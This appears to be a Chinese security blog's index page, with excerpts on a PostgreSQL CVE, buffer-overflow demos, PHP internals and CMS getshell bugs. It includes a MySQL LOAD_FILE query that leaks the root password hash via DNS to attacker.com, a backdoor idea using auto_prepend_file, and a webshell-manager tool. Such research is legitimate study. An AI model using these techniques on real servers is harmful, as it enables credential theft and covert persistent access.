ls -al

Postgresql 设计缺陷CVE-2018-1058 漏洞分析

漏洞描述

2018年3月1日,PostgreSQL全球开发团队发布了多个系列版本的PostgreSQL安全升级。此次升级修复了CVE-2018-1058,该漏洞可以攻击者“劫持”PostgreSQL数据库的函数,从而使高权限用户在不知情的情况下,执行攻击者设定的恶意SQL语句。

Read More

X86-64 Register

Simple Demo 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void func(char *str){
char buffer[256];
int i;
i = 0;
while(*str) buffer[i++] = *str++;
}
int main(int ac, char **av)
{
char *fstring = "First string";
char *sstring = "Second string";
if(ac >= 2)
func(av[1]);
printf("%s => %s\n",fstring,sstring);
}

GDB Disassemble Output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Dump of assembler code for function main:
0x0000000100000f00 <+0>: push %rbp
0x0000000100000f01 <+1>: mov %rsp,%rbp
0x0000000100000f04 <+4>: sub $0x30,%rsp
0x0000000100000f08 <+8>: lea 0x88(%rip),%rax # 0x100000f97
0x0000000100000f0f <+15>: lea 0x74(%rip),%rcx # 0x100000f8a
0x0000000100000f16 <+22>: movl $0x0,-0x4(%rbp)
0x0000000100000f1d <+29>: mov %edi,-0x8(%rbp)
0x0000000100000f20 <+32>: mov %rsi,-0x10(%rbp)
0x0000000100000f24 <+36>: mov %rcx,-0x18(%rbp)
0x0000000100000f28 <+40>: mov %rax,-0x20(%rbp)
0x0000000100000f2c <+44>: cmpl $0x2,-0x8(%rbp)
0x0000000100000f30 <+48>: jl 0x100000f43 <main+67>
0x0000000100000f36 <+54>: mov -0x10(%rbp),%rax
0x0000000100000f3a <+58>: mov 0x8(%rax),%rdi
0x0000000100000f3e <+62>: callq 0x100000ea0 <func>
0x0000000100000f43 <+67>: lea 0x5b(%rip),%rdi # 0x100000fa5
0x0000000100000f4a <+74>: mov -0x18(%rbp),%rsi
0x0000000100000f4e <+78>: mov -0x20(%rbp),%rdx
0x0000000100000f52 <+82>: mov $0x0,%al
0x0000000100000f54 <+84>: callq 0x100000f68
0x0000000100000f59 <+89>: mov -0x4(%rbp),%ecx
0x0000000100000f5c <+92>: mov %eax,-0x24(%rbp)
0x0000000100000f5f <+95>: mov %ecx,%eax
0x0000000100000f61 <+97>: add $0x30,%rsp
0x0000000100000f65 <+101>: pop %rbp
0x0000000100000f66 <+102>: retq
End of assembler dump.

注意到

1
2
3
4
0x0000000100000f1d <+29>: mov %edi,-0x8(%rbp)
0x0000000100000f20 <+32>: mov %rsi,-0x10(%rbp)
0x0000000100000f24 <+36>: mov %rcx,-0x18(%rbp)
0x0000000100000f28 <+40>: mov %rax,-0x20(%rbp)

使用了%edi,%rsi,%rcx,%rax,查阅手册

register.png

Simple Demo2

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}

如果在MacOS系统想要进行Buffer Overflow的测试的话,如果使用GCC编译需要用这两个-fno-stack-protector -D_FORTIFY_SOURCE=0选项。

GCC堆栈保护

-fstack-protector:

启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码。

-fstack-protector-all:

启用堆栈保护,为所有函数插入保护代码。

-fno-stack-protector:

禁用堆栈保护。

stack-protector保护方式修改函数栈的组织,在缓冲区和可控数据buffer间插入一个canary word(标志)。当缓冲区被溢出时,canary word 会首先被覆盖。通过检查 canary word 的值是否被修改,就可以判断是否发生了溢出。

汇编代码中mov %edi,-0x8(%rbp)这样的为AT&T的语法。
Intel 语法的间接内存引用的格式为:
section:[base+index*scale+displacement]
而在 AT&T 语法中对应的形式为:
section:displacement(base,index,scale)

mov %edi,-0x8(%rbp) =(%rbp + 0*0 - 0x8)

Read More
post @ 2017-10-10

知己知彼,百战不殆-孙子

前言

一直以来在网上域渗透的资料,几乎专注的都是一些命令,以及一些工具的使用,但是缺乏对活动目录以及与域本身的安全的研究思考。

Read More
post @ 2017-10-10

Raindrop

1.Raindrop是什么?

Raindrop是一款将来可以跨平台的网站管理工具

2.为什么要开发?

首先一直觉得MacOS下没有像中国菜刀那样非常好用的服务器管理工具。
想要进行服务器管理,经常需要开虚拟机来使用菜刀,感觉非常不方便。

其次,在用过其他人开发的类似软件,例如*斧/*剑。感觉其功能性并未达到自己的需求,所以干脆自己写一个来用吧!

Read More

几天前和朋友在测试一个注入,想要使用MySQL通过load_file()函数,再由DNS查询传出注入出来的数据时候遇到的问题

以下语句

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\\foobar'));

只有Windows + MySQL才能成功通过DNS查询包传出我们想要的数据

而在*nix + MySQL环境下是无法成功的。

(大家可以试试)

这是为什么呢,我探究了一下背后的原理

Read More

文件:admin/login/login_check.php:26行

1
2
3
4
5
6
7
8
9
10
11
12
13
if($action=="login"){
$metinfo_admin_name = $login_name;
$metinfo_admin_pass = $login_pass;
$metinfo_admin_pass=md5($metinfo_admin_pass);
/*code*/
if($met_login_code==1){
require_once $depth.'../include/captcha.class.php';
$Captcha= new Captcha();
if(!$Captcha->CheckCode($code)){
echo("<script type='text/javascript'>alert('$lang_logincodeerror');location.href='login.php?langset=$langset';</script>");
exit;
}
}
Read More

什么是序列化以及反序列化?

序列化是将PHP中的值(zval)转换成一段包含字节流的字符串。 序列化一个对象会保存对象的所有变量的值,但是不会保存对象的方法,只会保存类的名字。

反序列化:对单一的已序列化的变量进行操作,将其转换回 PHP 的值(zval)。

Read More
post @ 2017-10-10

今天群里面的一位小伙伴问我关于PHP变量中refcount的问题,当时回答给他了,发现自己没注意到一个细节,记录下来。

Read More

今天在看TIPI的时候读到了$PHP_SRC/main/php_globals.h里面全局变量宏中全局变量是通过php.ini来加载赋值的。
里面有两个值[图1]

1
2
char *auto_append_file;
char *auto_prepend_file;

这两个可以在主文件之前自动解析。
那么就可以通过增加这两个值实现在其他文件夹放入我们的后门文件,并且在网站的任何一个目录用这个后门.

Read More

FineCMS有一个缓存功能,和当初Wordpress一样,有一个缓存功能,并且缓存的文件名不是随机的并且后缀是php,就导致了可以利用后台缓存功能来getshell。

下面是Payload

Read More
⬆︎TOP